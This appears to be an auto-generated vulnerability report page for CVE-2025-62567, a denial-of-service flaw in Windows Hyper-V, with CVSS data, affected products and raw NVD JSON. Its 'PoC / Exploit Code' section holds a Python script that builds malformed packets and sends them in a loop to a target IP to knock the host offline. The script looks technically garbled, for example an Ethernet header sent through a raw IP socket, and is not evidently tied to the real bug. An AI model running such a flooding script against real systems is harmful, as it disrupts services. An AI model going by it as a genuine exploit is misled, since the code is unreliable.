Security Vulnerability Report
中文
CVE-2025-62567 CVSS 5.3 MEDIUM

CVE-2025-62567

Published: 2025-12-09 18:16:03
Last Modified: 2025-12-10 19:24:11

Description

Integer underflow (wrap or wraparound) in Windows Hyper-V allows an authorized attacker to deny service over a network.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:* - VULNERABLE
Windows Server 2019
Windows Server 2022
Windows 11 22H2
Windows 11 23H2
Windows 10 22H2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62567 Windows Hyper-V Integer Underflow PoC (Conceptual) # This is a conceptual proof-of-concept for educational purposes only import struct import socket import time def create_malicious_packet(): """ Create a malicious packet designed to trigger integer underflow in Windows Hyper-V virtual network adapter processing """ # Ethernet header eth_header = b'\x00\x15\x5d\x00\x00\x01' # Fake MAC eth_header += b'\x00\x15\x5d\x00\x00\x02' eth_header += b'\x08\x00' # IPv4 # IPv4 header - crafted to trigger underflow in length calculations ip_header = bytes([0x45, 0x00, 0x00, 0x00]) # Total length = 0 (triggers underflow) ip_header += bytes([0x00, 0x00, 0x40, 0x00]) # ID, Flags, Fragment ip_header += bytes([0x40, 0x06, 0x00, 0x00]) # TTL, Protocol, Checksum ip_header += socket.inet_aton('192.168.1.100') # Source IP ip_header += socket.inet_aton('192.168.1.1') # Dest IP # TCP header tcp_header = struct.pack('!HHIIBBHHH', 12345, # Source port 80, # Dest port 0, # Seq 0, # Ack 0x50, # Data offset 0x02, # Flags (SYN) 8192, # Window 0, # Checksum 0 # Urgent pointer ) # Payload designed to trigger the underflow condition payload = b'\x00' * 64 # Minimal payload return eth_header + ip_header + tcp_header + payload def exploit_hyperv(target_ip, interface='eth0'): """ Send malicious packets to Hyper-V virtual machine Requires low-privilege access to the VM """ sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) sock.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1) print(f"[*] Sending malicious packets to {target_ip}") print(f"[*] Targeting Hyper-V virtual network adapter...") packet_count = 0 for i in range(100): try: packet = create_malicious_packet() sock.sendto(packet, (target_ip, 0)) packet_count += 1 time.sleep(0.1) except Exception as e: print(f"[-] Error: {e}") break print(f"[+] Sent {packet_count} malicious packets") print(f"[*] Check if Hyper-V host/VM has become unresponsive") if __name__ == '__main__': print("CVE-2025-62567 Windows Hyper-V Integer Underflow PoC") print("This PoC requires authorization and is for research only") # Usage: exploit_hyperv('192.168.1.100')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62567", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:16:02.827", "lastModified": "2025-12-10T19:24:10.690", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer underflow (wrap or wraparound) in Windows Hyper-V allows an authorized attacker to deny service over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-191"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8688", "matchCriteriaId": "B1A4A63C-AA10-4A4B-8FD6-0519D1F7DFE9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "5CEB496A-8AF3-458D-B466-16204E535DE0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.19044.6691", "matchCriteriaId": "1ACDD8E9-E364-457B-95CA-EBFD822FB0DE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.19045.6691", "matchCriteriaId": "5D1C32AD-E4D7-48EF-A5E0-21BFB9DDB0D6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6345", "matchCriteriaId": "6DCE32D0-A9E0-4029-AB35-5E202A42AF01"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7392", "matchCriteriaId": "8DCD2A6E-7CD0-4FCC-AC11-5A1470776C24"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7392", "matchCriteriaId": "8EA08CDD-D682-403D-8B50-879EB4D88C67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8688", "matchCriteriaId": "992FE0C2-27E6-4D04-8200-7831DE13C58E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "A20DBDB1-D0DE-4800-8BEA-35EE5D53659D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4467", "matchCriteriaId": "C552FBB4-8F98-492E-A084-AF14C9514A67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2025", "matchCriteriaId": "E9CE4A36-DA42-40CC-8724-E30A22CA84B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7392", "matchCriteriaId": "35BBEADA-D039-479B-A1BA-B2A7E37235BE"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62567", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}